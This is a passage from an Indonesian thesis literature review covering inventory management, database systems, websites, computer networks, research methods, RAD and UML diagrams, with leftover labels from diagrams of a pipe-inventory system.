mudah untuk menjaga agar operasi terjamin adalah dengan mengisi persediaan
barang sebanyak-banyaknya (biasanya ini kemauan pemakai barang). Sedangkan
yang paling mudah untuk menjaga agar biaya investasi seminimal mungkin adalah
mengusahakan persediaan mencapai nol (biasanya ini dikehendaki oleh fungsi
keuangan). Di sinilah letak fungsi manajemen persediaan, yaitu menjembatani dua
kepentingan yang bertolak belakang tersebut.
Prinsip di atas menandakan pula bahwa pengelolaan persediaan haruslah
berdaya guna (efisien) dan berhasil guna (efektif). Menjamin kelangsungan jalannya
operasi perusahaan adalah sial efektivitas, sedangkan menekan persediaan sampai ke
tingkat minimum adalah soal efisiensi. Dengan demikian, pertanyaan-pertanyaan
yang harus dijawab yang menyangkut manajemen persediaan antara lain (Eko &
Djoko, 2003) adalah:
1) Jenis barang apa saja yang perlu disimpan dalam persediaan?
2) Berapa jumlah barang tiap-tiap jenis yang perlu disimpan dalam persediaan?
3) Apa, berapa, dan kapan suatu barang yang harus dipesan lagi untuk mengisi
kembali barang persediaan?
35
4) Bagaimana perbedaan antara manajemen persediaan barang umum dan suku
cadang.
5) Bagaimana menentukan tingkat (nilai) persediaan yang ideal?
6) Bagaimana menentukan standardisasi material dan perlengkapan?
7) Hal-hal apa yang mempengaruhi manajemen persediaan?
8) Bagaimana mengendalikan dan mengelola persediaan berlebih dan persediaan
mati?
9) Biaya-biaya apa saja yang menyangkut manajemen persediaan dan bagaimana
mengendalikannya?
10) Bagaimana melakukan peramalan jumlah permintaan barang?
11) Bagaimana melakukan benchmarking?
12) Bagaimana mengukur tingkat kinerja manajemen persediaan?
13) Bagaimana akuntansi barang persediaan?
2.6.3 Pembagian Jenis Barang
Tadi sudah disebutkan bahwa barang persediaan dapat dibagi menjadi barang
umum dan suku cadang. Ini adalah pembagian menurut jenisnya. Dalam manajemen
persediaan, barang-barang dapat dibagi menurut beberapa sudut pandang/
pendekatan, yang antara lain dapat disampaikan sebagai berikut (Eko & Djoko,
2003).
1) Menurut Jenis
a. Barang Umum (general materials)
Barang jenis ini biasanya macamnya cukup banyak, pemakainya tidak
tergantung dari perlatan, harganya relatif lebih kecil, dan kebutuhannya relatif
lebih gampang.
b. Suku Cadang (spare parts)
Barang jenis ini macamnya sangat banyak, harganya biasanya lebih mahal,
pemakaiannya tergantung dari peralatan, dan penentuan kebutuhannya lebih
sulit.
2) Menurut Harga
a. Barang berharga tinggi (high value items)
Barang ini biasanya berjumlahh sekitar hanya 10 % dari jumlah item
persediaan, namun jumlah nilainya mewakili sekitar 70% dari seluruh nilai
persediaan, dan oleh sebab itu memerlukan tingkat pengawasan yang sangat
tinggi.
b. Barang berharga menengah (medium value items)
Barang ini biasanya berjumlah kira-kira 20% dari jumlah item persediaan, dan
jumlah nilainya juga sekitar 20% jumlah nilai persediaan, sehingga
memerlukan tingkat pengawasan cukup saja.
c. Barang berharga rendah (low value items)
Berlawanan dengan barang berharga tinggi, jenis barang ini biasanya
berjumlah kira-kira 70% dari keseluruhan pos persediaan, namun nilai
harganya hanya mewakili 10% saja dari seluruh nilai barang persediaan,
sehingga hanya memerlukan tingkat pengawasan rendah.
3) Menurut Frekuensi Penggunaan
37
a. Barang yang cepat pemakaiannya atau pergerakannya (fast moving items)
Barang jenis ini frekuensi penggunaannya dalam 1 tahun lebih dari sekian
bulan tertentu, misalnya lebih dari 4 bulan, sehingga barang jenis ini
memerlukan frekuensi perhitungan pemesanan kembali yang lebih sering.
b. Barang lambar pemakaian atau pergerakannya (slow moving items)
Barang yang frekuensi penggunaannya dalam 1 tahun kurang dari sekian
bulan tertentu, misalnya dibawah 4 bulan, sehingga barang jenis ini
memerlukan frekuensi perhitungan pemesanan kembali yang tidak sering.
4) Menurut Tujuan Penggunaan
a. Barang pemeliharaan, perbaikan, dan operasi (MRO Materials)
Barang jenis ini sifatnya habis pakai, digunakan untuk keperluan
pemeliharaan, perbaikan, atau reparasi dan operasi, dan kalau pada suatu saat
perediaan habis, operasi masih dapat berjalan sementara.
b. Barang program (program materials)
Barang yang sifatnya juga habis pakai, jumlah kebutuhannya sesuai dengan
tingkat produksi/ kegiatan yang bersangkutan, dan kalau pada suatu saat
persediaan habis, kegiatan perusahaan akan langsung berhenti.
5) Menurut Jenis Anggaran
a. Barang Operasi (operation materials)
Barang yang digunakan untuk keperluan operasi biasa, yang dianggarkan
dalam anggaran operasi, dan apabila digunakan, akan dibukukan sebagai
biaya, dan proses persetujuan anggarannya biasanya lebih cepat dan
sederhana.
b. Barang investasi (capital materials)
Barang yang biasanya berbentuk peralatan dan digunakan untuk penambahan,
perluasan atau pembangunan proyekm atau sebagai asset perusahaan,
dianggarkan dalam anggaran investasi, bukan dalam anggaran operasi, dan
dibukukan dalam akun asset perusahaan, sedangkan biayanya dihitung dengan
metode penyusutan sesuai dengan metode perhitungan yang telah ditentukan,
dan proses persetujuan anggarannya biasanya lebih sulit dan lama.
6) Menurut Cara Pembukuan Perusahaan
a. Barang persediaan (stock items)
Jenis barang yang setibanya barang tersebut dari proses pembelian, dibukukan
dalam akun “persediaan barang perusahaan” dan barangnya sendiri disimpan
di gudang persedian. Setelah barang tersebut digunakan oleh suatu bagian,
baru dibebankan pada akun bagian yang bersangkutan. Penggunaan barang ini
berulang-ulang sehingga memang perlu disediakan di gudang.
b. Barang dibebankan langsung (direct charged materials)
Jenis barang yang setelah dibeli langsung dikirimkan dan dibebankan ke
bagian yang akan menggunakan. Barang jenis ini memang biasanya tidak
disediakan dalam persediaan, karena jarang sekali digunakan.
7) Menurut Hubungannya dengan Produksi
a. Barang Langsung (direct materials)
Jenis barang yang langsung digunakan dalam produksi yang akan menjadi
bagian dari produksi akhir. Jadi, bahan mentah, bahan penolong, barang
setengah jadi, barang jadi, dan barang komoditas termasuk dalam kategori ini.
39
b. Jenis barang yang tidak ada hubungannya dengan proses produksi, namun
diperlukan untuk memelihara mesin dan fasilitas yang digunakan untuk
produksi. Yang masuk dalam kategori ini adalah MRO (suku cadang dan
barang umum) dan barang proyek.
2.6.4 Beberapa Hambatan dalam Manajemen Persediaan
Banyak hal yang mengakibatkan sistem persediaan supply chain tidak efektif.
Sebab-sebab tersebut sangat bervariasi, ada yang teknis dan ada juga yang terkait
dengan perilaku individu maupun organisasi. Lee dan Billington dalam tulisannya di
Sloan Management Review tahun 1992 mengemukakan 14 jebakan yang bisa muncul
dalam mengelola persediaan pada supply chan. Beberapa diantaranya adalah
(Nyiman, 2005):
1) Tidak ada metrik kinerja yang jelas
Kinerja supply chain banyak terkait dengan persediaan. Misalnya tingkat
perputaran persediaan (inventory turnover rate), rata-rata lama permintaan atau
kebutuhan bisa dipenuhi oleh persediaan (inventory days of supply), banyaknya
persediaan yang kadarluwarsa, dan sebagainya. Walaupun ukuran-ukuran tersebut
relatif jelas, definisi dan cara pengukurannya dilapangan, memilih ukuran mana
yang pas dan berapa target yang harus dicapai bukanlah hal yang simpel.
2) Status pesanan tidak akurat
Ketika pelanggan memesan suatu produk ke pemasok, mereka berharap bisa
mendapatkan informasi kapan pesanan tersebut bisa dipenuhi. Walaupun pada
awalnya pelanggan sudah mendapatkan informasi tersebut, mereka tetap
mengharapkan informasi yang mutakhir tentang perkembangan pesanan mereka
dari waktu ke waktu. Namun sangat sering terjadi supplier tidak mampu
memberikan informasi tentang status pengiriman yang akurat. Akibatnya,
pesanan ketidakpastian tinggi dan mendorong pelanggan untuk menyimpan
cadangan persediaan yang lebih layak.
3) Sistem informasi tidak handal
Perusahaan tidak akan bisa memberikan status pesanan kalau sistem informasi
antar bagian di dalam perusahaan maupun sistem yang bisa menghubungkan
perusahaan dengan pelangga tidak handal. Sering kali tiap bagian dalam
perusahaan tidak memiliki informasi yang sama tentang persediaan. Catatan di
gudang berbedda dengan catatan yang dimiliki oleh bagian perencanaan produksi.
4) Kebijakan persediaan terlalu sederhana dan mengabaikan ketidakpastian.
Di literature kita banyak menjumpai model-model persediaan. Model-model
tersebut biasanya sederhana dan menggunakan berbagai asumsi yang sering tidak
berlaku di lapangan. Dasar-dasar tersebut memang sangat penting sebagai
landasan, namun dalam kenyataannya staf dan manajer perlu pemahaman situasi
lapangan dengan banyak melakukan analisis data seperti lead time, permintaan,
akurasi catatan persediaan, persentaasi kerusakan (reject/ defect rate), dan
sebagainya.
5) Biaya-biaya persediaan tidak ditaksir dengan benar.
Ketika perusahaan mencari solusi terhadap lead time, pengiriman yang panjang
dan tidak pasti, transportasi udara biasanya tidak masuk sebagai pertimbangan.
Banyak orang sejak awal mengambil keputusan tanpa analisis bahwa pengiriman
41
lewat udara pasti tidak layak. Tentu ini tidak selalu benar. Ada perusahaan yang
telah melakukan analisis transportasi ternyata bisa merealisasikan penghematan
luar biasa karena pindah dari transportasi laut ke transportasi udara.
6) Keputusan supply chain yang tidak terintegrasi.
Implikasi dan keputusan suatu supply chain terhadap persediaan sering tidak
dipahami dengan baik. Sebelum dilakukan perubahan pada proses perakitan dan
distribusi, sebuah perusahaan printer di Amerika menerima pesanan dari pusat-
pusat penjualan merek di seluruh dunia. Tiap Negara biasanya memiliki
kebutuhan yang berbeda terutama karen perbedaan bahasa yang akan digunakan
pada buku petunjuk serta perbedaan sistem sumber daya listrik (power supply).
2.7 Database
2.7.1 Konsep Sistem Database
Keberhasilan suatu sistem informasi manajemen (SIM) sangat dipengaruhi
oleh sistem database yang merupakan salah satu elemen penyusun sistem tersebut.
Semakin lengkap, akurat, dan mudah dalam menampilkan kembali data-data yang
termuat di dalam database, akan semakin meningkatkan kualitas SIM tersebut. Oleh
karena itu, sangatlah penting menyusun sistem database yang baik, yang mampu
memenuhi segala kebutuhan data atau informasi pemakainya.
Manajemen database merupakan bagian dari manajemen sumber daya
informasi serta memastikan bahwa sumber daya data perusahaan mencerminkan
secara akurat sistem fisik yang di wakilinya (Sutabri, 2005). Sumber daya data
disimpan dalam media penyimpanan sekunder yang dapat mengambil bentuk
berurutan (sequential) atau akses langsung (direct access).
Tujuan sistem database meliputi penyediaan sarana akses yang fleksibel,
pemeliharaan integritas data, proteksi data dari kerusakan, dan penggunaan yang
tidak baik, serta penyediaan sarana untuk pengurangan atau meminimalkan
kerangkapan data (redundancy), menghilangkan ketergantungan data pada program-
program aplikasi, menstandarkan definisi elemen data, dan meningkatkan
produktifitas personil sistem informasi (Sutabri, 2005).
2.7.2 Pengertian Sistem Database
Perangkat lunak yang mengelola database disebut sistem manajemen
database (database management system)-DBMS. Semua DBMS memiliki suatu
pengolah bahasa deskripsi data (data description language processor) yang
digunakan untuk menciptakan database serta suatu pengelola database yang
menyediakan database bagi pemakai. Pemakai menggunakan manipulasi data dan
query language. Orang yang bertanggung jawab atas database dan DBMS adalah
pengelola database (database administrator) atau disingkat DBA.
Berikut ini pengertian database yang diberikan oleh James Martin dalam
bukunya “Database Organization” sebagai berikut:
Database adalah suatu kumpulan data terhubung (interrelated data) yang disimpan
secara bersama-sama pada suatu media, tanpa mengatap satu sama lain atau tidak
perlu suatu kerangkapan data (controlled redundancy) dengan cara tertentu sehingga
mudah digunakan atau ditampilkan kembali, dapat digunakan oleh satu atau lebih
43
program aplikasi secara optimal, data disimpan tanpa mengalami ketergantungan
pada program yang akan menggunakannya, data disimpan sedemikian rupa sehingga
penambahan, pengambilan, dan modifikasi dapat dilakukan dengan mudah dan
terkontrol (Sutabri, 2005).
Dari pengertian di atas dapat disimpulkan bahwa sistem database mempunyai
beberapa kriteria yang penting, yaitu:
1. Bersifat data oriented dan bukan program oriented
2. Dapat digunakan oleh beberapa program aplikaso tanpa mengubah basisdatanya.
3. Dapat berkembang dengan mudah, baik volume maupun strukturnya.
4. Dapat memenuhi kebutuhan sistem-sistem baru secara mudah.
5. Dapat digunakan dengan cara-cara yang berbeda.
6. Kerangkapan data (data redundancy) minimal.
Keenam criteria tersebut memberikan secara nyata/ jelas antara file database
dan file tradisional yang bersifat program oriented, yaitu hanya dapat digunakan oleh
satu program aplikasi, berhubungan dengan suatu persoalan tertentu untuk sistem
yang direncanakan, perkembangan data hannya mungkin terjadi pada volume data
saja, kerangkapan data terlalu sering muncul/ tidak terkontrol dan hanya dapat
digunakan dengan satu cara tertentu saja. Selanjutnnya, James F. Courtney Jr. dan
David B. Paradice dalam buku “Database System for Management” menjelaskan:
Sistem database adalah sekumpulan database yang dapat dipakai secara
bersama-sama, personal-personal yang merancang dan mengelola database,
teknik-teknik untuk merancang dan mengelola database, serta komputer untuk
mendukungnya (Sutabri, 2005).
2.7.3 Database Management System (DBMS)
DBMS adalah merupakan salah satu elemen dalam sistem database, DBMS
adalah perangkat lunak yang member fasilitas (yang tersedia dan dapat digunakan)
untuk melakukan fungsi perngaturan, pengawasan, pengendalian/ control,
pengolahan, dan koordinasi terhadap semua proses/ operasi yang terjadi pada sistem
database (Sutabri, 2005).
2.8 Website
Pada tahun-tahun awal pengenalan internet pada dunia, website atau situs web
yang tersedia masih langka. HTML masih baru dan belum banyak yang
menguasainya. Namun, oleh karena HTML mudah dipelajari maka banyak orang
mulai meramalkan internet dengan situs web buatannya.
Website yang ada pada internet mulanya berupa website yang statis, kaku, dan
tidak indah. Website tersebut menyerupai sebuah brosur atau tulisan dokumen.
Ternyata internet berkembang begitu pesat dan website yang tersedia saat ini sudah
berupa website dinamis yang sangat interaktif. Pengunjung dapat berkomunikasi
dengan website. Web tersebut juga mampu memberi informasi yang diinginkan
pengunjung seperti menunjukkan waktu dan tanggal sekarang, verifikasi kartu kredit,
dan lain sebagainya.
Teknologi yang berjasa bagi terciptanya interaktivitas pada masa lalu adalag
CGI (Common Gateway Interface). Namun, CGI script akhirnya ditinggalkan karena
sukar dimengerti. Bahasa permrograman web berkembang menjadi Perl dan C yang
agak mudah dimengerti. Saat ini bahasa pemrograman Web menjadi bahasa yang
45
mudah dipahami seperti ASP, PHP, JavaScriptm VBScirpt, dan lain sebagainya
(Hardjono, 2006).
2.8.1 Pengertian website
Website merupakan fasilitas hiperteks untuk menampilkan data berupa teks,
gambar, suara, animasi, dan data multimedia lainnya (Hardjono, 2006). PHP
merupakan salah satu script (Perintah-perintah program) Server Side yang sangat
popular diterapkan dalam sebuah situs web. Situs/ web dapat dikatergorikan menjadi
dua, yaitu web statis dan web dinamis.
2.8.1.1 Web Statis
Web Statis adalah web yang berisi/ menampilkan informasi-informasi yang
sifatnya statis (tetap) (Hardjono, 2006). Disebut statis karena pengguna tidak dapat
berinteraksi dengan tersebut. Singkatnya, untuk mengetahui suatu web bersifat statis
atau dinamis dapat dilihat dari tampilannya. Jika suatu web hanya berhubungan
dengan halaman web lain dan berisi suatu informasi yang tetap maka web tersebut
disebut statis.
Pada web statis pengguna hanya dapat melihat isi dokumen pada halaman
web dan apabila diklik akan berpindah ke halaman web yang lain. Interaksi pengguna
hanya terbatas dapat melihat informasi yang ditampilkan, tetapi tidak dapat mengolah
informasi yang dihasilkan. Web statis biasanya merupakan HTML yang ditulsi pada
editor teks dan disimpan dalam bentuk .html atau .htm.
2.8.1.2 Web Dinamis
Web dinamis adalah web yang menampilkan informasi serta dapat
berinteraksi dengan pengguna (Hardjono, 2006). Web yang dinamis memungkinkan
pengguna untuk berinteraksi menggunakan form sehingga dapat mengolah informasi
yang ditampilkan. Web dinamis bersifat interaktif, tidak kaku, dan terlihat lebih
mudah.
2.9 Jaringan Komputer
2.9.1 Pengertian Jaringan Komputer
Jaringan komputer secara istilah dapat diartikan sebagai dua komputer atau
lebih yang dapat terhubung melalui media komunikasi baik berupa kabel (wire) atau
tidak (wireless) (Akbar, 2006). Hal-hal yang dapat dilakukan menggunakan jaringan
komputer adalah:
1) Berkomunikasi menggunakan media teks maupun video, menggunakan modus
PopUp ataupun Messangger. Contoh software untuk komunikasi yang
menggunakan modus PopUp adalah WinPopUp di Windows dan LinPopUp di
Linux. Sementara media yang menggunakan messangger adalah netmeeting di
Windows dan GnomeMeeting di Linux.
2) Berbagi data di dalam harddisk menggunakan berbagai macam protocol seperti
SMB (Server Message Block) milik Microsoft, NFS (Network File Sharing) dari
Sun Microsystem, SAMBA yang digunakan oleh Linux, APPLE TALK untuk
berkomunikasi dengan sistem Macintosh.
47
3) Berbagi perangkat keras seperti printer, plotter, harddisk, CD/ DVD Rom dan
lainnya.
Beberapa ahli juga mendefinisikan arti jaringan komputer.
1. Secara sederhana jaringan komputer dapat diartikan sebagai kumpulan beberapa
komputer dan peralatan lain yang saling terhubung menggunakan aturan-aturan
tertentu. Hubungan ini dapat terjadi menggunakan media fisik berupa kabel
ataupun melalui gelombang radio, infrared bahkan satelit, setiap peralatan yang
tersambung ke jaringan disebut node (Wahidin, 2007).
2. Jaringan komputer merupakan gabungan antara teknologi komputer dan teknologi
komunikasi. Gabungan teknologi ini melahirkan pengolahan data yang dapat
didistribusikan, mencakup pemakaian database, software, aplikasi dan peralatan
hardware mencakup bersamaan, untuk membantu proses otomatisasi perkantoran
dan peningkatan kea rah efisiensi kerja (Dede, 2006).
2.10 Metodologi Penelitian
2.10.1 Metode Pengumpulan Data
2.10.1.1 Studi Pustaka
Studi kepustakaan adalah segala usaha yang dilakukan oleh peneliti untuk
menghimpun informasi yang relevan dengan topik atau masalah yang akan atau
sedang diteliti. Informasi itu dapat diperoleh dari buku-buku ilmiah, laporan
penelitian, karangan-karangan ilmiah, tesis dan disertasi, peraturan-peraturan,
ketetapan-ketetapan, buku tahunan, ensiklopedia, dan sumber-sumber tertulis baik
cetak maupun elektronik lain (Jogiyanto, 2008).
2.10.1.2 Studi Lapangan
a) Observasi
Merupakan teknik atau pendekatan untuk mendapatkan data primer dengan cara
mengamati langsung objek datanya. Pendekatan observasi diklasifikasikan ke
dalam observasi sederhana dan observasi terstruktur (Jogiyanto, 2008).
1) Observasi Sederhana
Merupakan observasi yang tidak mempunyai pertanyaan-pertanyaan riset.
Observasi sederhana ini digunakan di penelitian eksploratori yang belum
diketahui dengan jelas variabel-variabel yang akan digunakan.
2) Observasi Terstruktur
Merupakan observasi yang mempunyai prosedur standar yang terstruktur.
Langkah-langkahnya sebagai berikut.
a. Menentukan data yang akan diobservasi.
b. Membuat rencana pengumpulan datanya.
c. Memilih dan melatih pengamat.
d. Mencatat atau merekam hasil yang diobservasi.
b) Wawancara
Merupakan komunikasi dua arah untuk mendapatkaan data dari responden.
Wawancara dapat berupa wawancara personal (personal interview). Wawancara
intersep (intersept interview) dan wawancara telepon (telephone interview)
(Jogiyantio, 2008).
49
2.10.1.3 Studi Literatur Sejenis
Studi literatur sejenis adalah mencari bukti dengan membandingkan studi
literatur sebelumnya sehingga dapat membantu dalam penelitian selanjutnya
(Bintarto, 2002).
2.11 Metode Pengembangan Sistem
Pengembangan sistem dapat berarti menyusun suatu sistem yang baru untuk
menggantikan sistem yang lama secara keseluruhan atau perbaikan pada sistem yang
telah ada, dengan harapan bahwa sistem yang baru tersebut dapat mengatasi
permasalahan yang timbul pada sistem yang lama. Sedangkan definisi lain
menyebutkan pengembangan sistem adalah proses mengubah sebagian atau seluruh
sistem informasi.
2.11.1 Rapid Application Development (RAD) menurut Whitten (2004)
RAD (Rapid Application Development) adalah salah satu alternatif dalam
melakukan suatu pengembangan sistem. RAD adalah sebuah strategi pengembangan
sistem yang menekankan kecepatan-kecepatan pengembangan melalui keterlibatan
pengguna yang ekstensif dalam kontruksi, cepat, berulang dan bertambah
serangkaian prototipe atau prototipe bekerja sebuah sistem yang pada akhirnya
berkembang kedalam sistem final. Sebagai respom pada kemajuan ekonomi pada
umumnya, RAD atau pengembangan aplikasi cepat telah menjadi rute yang popular
untuk mengakselerasi pengembangan sistem. Berikut diagram yang menerangkan
rute dalam RAD, yaitu:
Gambar 2.2 Strategi Rapid Application Development (RAD)
2.11.1.1 Keunggulan RAD
Metode RAD memiliki kelebihan antara lain: (Whitteen, 2004)
1. Berguna untuk proyek-proyek tempat persyaratan-persyaratan pengguna tidak
pasti dan tidak tepat.
2. Mendorong pengguna aktif dan partisipasi manajemen (berkebalikan dengan
reaksi pasif pada model-model sistem yang tidak bekerja). Hal ini meningkatkan
antusiasme pengguna akhir pada proyek.
3. Proyek-proyek memiliki visibilitas dan dukungan lebih tinggi karena keterlibatan
pengguna yang ekstensif selama proses.
4. Para pengguna dan manajemen melihat solusi-solusi yang berbasis perangkat
lunak dan bekerja lebih cepat daripada pengembangan yang model-driven.
5. Error dan penghilangan cenderung untuk di deteksi lebih awal dalam prototipe
daripada dalam model sistem.
6. Pengujian dan pelatihan adalah produk tambahan alami dari pendekatan
prototyping yang mendasar.
7. Pendekatan berulang adalah proses yang lebih “alami” karena perubahan adalah
faktor yang diharapkan selama pengembangan.
Scope
Definiton
Problem Analysis+
Requirement
Analysis+Decision
Analysis
Design
Current System
Operation &
Maintenance
Delivery of a versionConstruction &
TestingThe User Community
51
2.11.1.2 Alur Proses Pengembangan Sistem
Alur proses sistem RAD sebagai berikut: (McLeod, 2004)
1. Definisi Lingkup (Scope Definition)
Menentukan ukuran dari proyek atau penelitian. Batas-batas dalam penelitian ini.
2. Analisis Sistem (Analysis)
Dalam tahap ini, peneliti akan menjabarkan permasalahan yang sering terjadi
pada sistem yang sedang berjalan dan analisis sistem yang diusulkan.
3. Perancangan Sistem (Design)
Perancangan sistem dilakukan setelah tahap analisis selsesai, dengan
menggunakan metode pengembangan sistem dan memilih bahasa pemrograman
yang akan digunakan.
4. Implementasi Sistem (Construction & Testing)
Setelah melakukan analisis sistem dan perancangan sistem secara rinci, maka tiba
saatnya sistem untuk diimplementasikan. Pada tahap ini terdapat banyak aktivitas
yang dilakukan. Aktivaitas-aktivitas yang dimaksud berupa:
a. Instalasi Perangkat
Pada tahap ini, yaitu membahas sarana pendukung yang diperlukan agar agar
sistem dapat berjalan sesuai yang diharapakn.
b. Pengujian (Testing)
Tahap pengujian terhadap sistem bertujuan untuk menemukan kesalahan yang
masih terjadi pada sistem.
2.11.2 UML
UML adalah singkatan dari Unified Modelling Language yang berarti bahasa
permodelan standar. Chonoles, 2003: Bab 1 mengatakan sebagai bahasa, berarti
UML memiliki sintaks dan semantik. Ketika kita membuat model menggunakan
konsep UML ada aturan-aturan yang harus diikuti. Bagaimana elemen pada model-
model yang kita buat berhubungan satu dengan yang lainnya harus mengikuti standar
yang ada. UML bukan hanya sekedr diagram, tetapi juga menceritakan konteksnya.
Ketika pelanggan memesan sesuatu sistem, bagaimana transaksinya? Bagaimana
sistem mengatasi error yang terjadi? Bagaimana keamanan terhadap sistem yang kita
buat? Dan sebagainya dapat dijawab dengan UML (Prabowo & Herlawati, 2011).
UML diaplikasikan untuk maksud tertentu, biasanya antara lain untuk:
1. Merancang perangkat lunak.
2. Sarana komunikasi antara perangkat lunak dengan proses bisnis.
3. Menjabarkan sistem secara rinci untuk analisa dan mencari apa yang diperlukan
sistem.
4. Mendokumentasikan sistem yang ada, proses-proses dan organisasinya.
UML adalah salah satu alat bantu yang sangat mahal di dunia pengmbangan
sistem yang berorientasi objek. Hal ini disebabkan karena UML menyediakan bahasa
permodelan visual yang memungkinkan bagi pengembang sistem untuk membuat
cetak biru atas visi mereka dalam bentuk yang baku, mudah dimengerti serta
dilengkapi dengan mekanisme yang efektif untuk berbagi (sharing) dan
mengkomunikasikan rancangan mereka dengan yang lain.
53
UML merupakan kesatuan dari bahasa pemodelan yang dikembangkan oleh
Booch, Object Modeling Technique (OMT) dan Object Oriented Software
Engineering (OOSE). Metode Booch dari Grady Booch sangat terkenal dengan nama
metode Design Object Oriented, metode ini menjadikan proses analisis dan desain ke
dalam empat tahapan iteratf, yaitu: identifikasi kelas-kelas dan obyek-obyek,
identifikasi semantik dari hubungan obyek dan kelas tersebut, perincian interface dan
implementasi. Keunggulan metode Booch adalah pada detil dan kayanya dengan
notasi dan elemen. Pemodelan OMT yang dikembangkan oleh Rumbaugh didasarkan
pada analisis terstruktur dan pemodelan entity-relationship. Tahapan utama dalam
metode ini adalah analisis, desain sistem, desain obyek, dan implementasi.
Keunggulan metode ini adalah dalam penotasian yang mendukung semua konsep
OO. Metode OOSE dari Jacobson lebih memberi penekanan pada usecase. OOSE
memiliki tiga tahapan yaitu model requirement dan analisis, desain dan
implementasi, dan model pengujian (test model). Keunggulan metode ini adalah
mudah dipelajari karena memiliki notasi yang sederhana namun mencakup seluruh
tahapan dalam rekayasa perangkat lunak.
Dengan UML, metode Booch, OMT dan OOSE digabungkan dengan
membuang elemen-elemen yang tidak praktis ditambah dengan elemen-elemen dari
metode lain yang lebih efektif dan elemen-elemen baru yang belum ada pada metode
terdahulu sehingga UML lebih ekspresif dan seragam daripada metode lainnya.
(Munawar, 2005).
a. Tipe Diagram UML
Tabel 2.1 Tipe Diagram UML (Munawar, 2005)
Diagram Model
Use Case Bagaimana User berinteraksi dengan sebuah sistem
Activity Perilaku procedural & Paralel
Class Fitur dan relasinya
Sequence Interaksi antar obyek
b. Jenis Diagram UML
UML menyediakan beberapa jenis diagram diantaranya adalah sebagai
berikut:
1. Use case Diagram
Use case diagram adalah diagram yang menggambarkan interaksi
antara sistem, sistem eksternal dan pengguna. Secara grafis
menggambarkan siapa yang akan menggunakan sistem dan dengan cara
apa pengguna mengharapkan untuk berinteraksi dengan sistem (Whitten,
2004).
Use case adalah deskriptif fungsi dari sebuah sistem dari perspektif
pengguna. Use case bekerja dengan cara mendeskripsikan tipikal interaksi
antara user (pengguna) sebuah sistem dengan sistemnya sendiri melalui
sebuah cerita bagaimana sebuah sistem dipakai. Urutan langkah-langkah
yang menerangkan antara pengguna dan sistem disebut scenario. Setiap
55
scenario mendeskripsikan urutan kejadian. Setiap urutan diinisialisasi oleh
orang, sistem yang lain, perangkat keras atau urutan waktu. Dengan
demikian secara singkat bisa dikatakan use case adalah serangkaian
scenario yang digabungkan bersama-sama oleh tujuan umum pengguna
(Munawar, 2005).
Dalam pembicaraan tentang use case, pengguna biasanya disebut
dengan actor. Actor adalah sebuah peran yang bisa dimainkan oleh
pengguna dalam interaksinya dengan sistem.
Model use case adalah bagia dari model requirement (Jacobson,et all,
1992).
Use case adalah alat bantu terbaik guna menstimulasi pengguna
potensial untuk mengatakan tentang suatu sistem dari sudut pandangnya.
Tidak selalu mudah bagi pengguna untuk menyatakanm bagaimana mereka
bermaksud menggunakan sebuah sistem. Karena sistema pengembangan
tradisional sering ceroboh dalam melakukan analisis, akibatnya pengguna
seringkali susah menjawabnya tatkala diminta masukkan tentang sesuatu.
Ide dasarnya adaladh bagaimana melibatkan pengguna sistem di fase-
fase awal analisis dan perancangan sistem. Dengan demikian diharapkan
akan bisa dibangun suatu sistem yang bisa membantu pengguna. Perlu
diingat bahwa use case mewakili pandangan diluar sistem.
Diagram use case menunjukkan 3 aspek dari sistem yaitu; actor, use
case, dan system/ sun system boundary. Actor mewakili peran orang,
sistem yang lain atau alat ketika berkomunikasi dengan use case. Gambar
2.3 mengilustrasikan actor, use case, dan boundary.
Gambar 2.3 Use Case Model
Notasi dalam diagram use case adalah : (Whitten, 2004)
a. Actor adalah segala sesuatu yang perlu berinteraksi dengan sistem
untuk pertukaran informasi.
Manager
tallyman
Admin_OS
login
Cek Barang
Laporan pipa Masuk
Logout
Laporan Pipa Keluar
Laporan Work Order
Laporan Data Pembeli
Laporan Reproduksi Pipa
<<include>>
Input Data Pipa Masuk
Input Data Pembeli
Input Reproduksi Pipa
Input Data Pipa Keluar
Input Work Order
<<depends on>>
<<depends on>>
<<depends on>>
<<depends on>>
Manage user
Laporan Stok Pipa
<<depends on>>
Marketing
<<depends on>>
<<depends on>>
<<depends on>>
<<depends on>>
<<depends on>>
<<depends on>><<depends on>>
57
b. Use case adalah urutan langkah-langkah yang secara tindakan saling
terkait (scenario), baik secara otomatis maupun manual, untuk tujuan
melengkapi satu tugas bisnis tunggal. Use case terdapat beberapa
relasi antara use case untuk mendapatkan sistem secara utuh, relasi
tersebut terbagi menjadi dua, yaitu:
1) Relasi include adalah hubungan diantara abstract use case dan use
case yang menggunakannya. Abstract use case merepresentasikan
satu bentuk “reuse” dan merupakan alat yang sangat baik untuk
mengurangi redundancy diantara dua atau lebih use case lain.
2) Relasi extend adalah hubungan antara extension use case dan use
case yang diperluas hubungan. Satu use case dapat memiliki
beberapa hubungan extend, tetapi satu extension use case hanya
dapat di minta oleh satu use case yang diperluas.
2. Activity Diagram
Activity diagram adalah teknik untuk mendeskripsikan logika
procedural, proses bisnis dan aliran kerja dalam banyak kasus. Activity
diagram mempunyai seperti halnya flowchart akan tetapi perbedaannya
dengan flowchart adalah activity diagram bisa mendukung perilaku
parallel sedangkan flowchart tidak bisa (Munawar, 2005).
Activity untuk menggambarkan secara grafis aliran proses bisnis.
Langkah-langkah sebuah use case atau logika behavior (metode) object
(Whitten, 2004).
Data
Valid
Mulai
Data
Tidak Valid
Selesai
All User Sistem
Input username dan password
Klik login cek username dan password
Menampilkan Halaman Home Sistem
Menampilkan pesan
username atau password salah
Gambar 2.4 Activity Diagram
3 Sequence Diagram
Sequence diagram adalah diagram UML yang memodelkan logika sebuah use
case dengan cara menggambarkan interaksi diantara objek-objek dalam rangkaian
waktu (Whitten, 2004).
59
login
Input Username & Password
Menampilkan Halaman Utama User
All User
Menampilkan Pesan Kesalahan Cek Database Username&Password
Gambar 2.5 Sequence Diagram
4 Class Diagram
Class diagram gambar grafis mengenai struktur objek statis dari suatu sistem,
menunjukkan kelas-kelas objek yang menyusun sebuah sistem dan juga hubungan
antara kelas objek tersebut (Whitten, 2004).
Gambar 2.6 Class Diagram
UML dibangun atas model 4+1 view. Model ini didasarkan pada fakta bahwa
struktur sebuah sistem dideskripskikan dalam 5 view dimana salah satu diantaranya
use case view. Use case view ini memegang peran khusus diantaranya
mengintegrasikan content ke view yang lain. Kelima view tersebut tidak berhubungan
dengan diagram yang dideskripsikan di UML. Setiap view berhubungan dengan
perspektif tertentu dimana sistem akan diuji. View yang berbeda menekankan pada
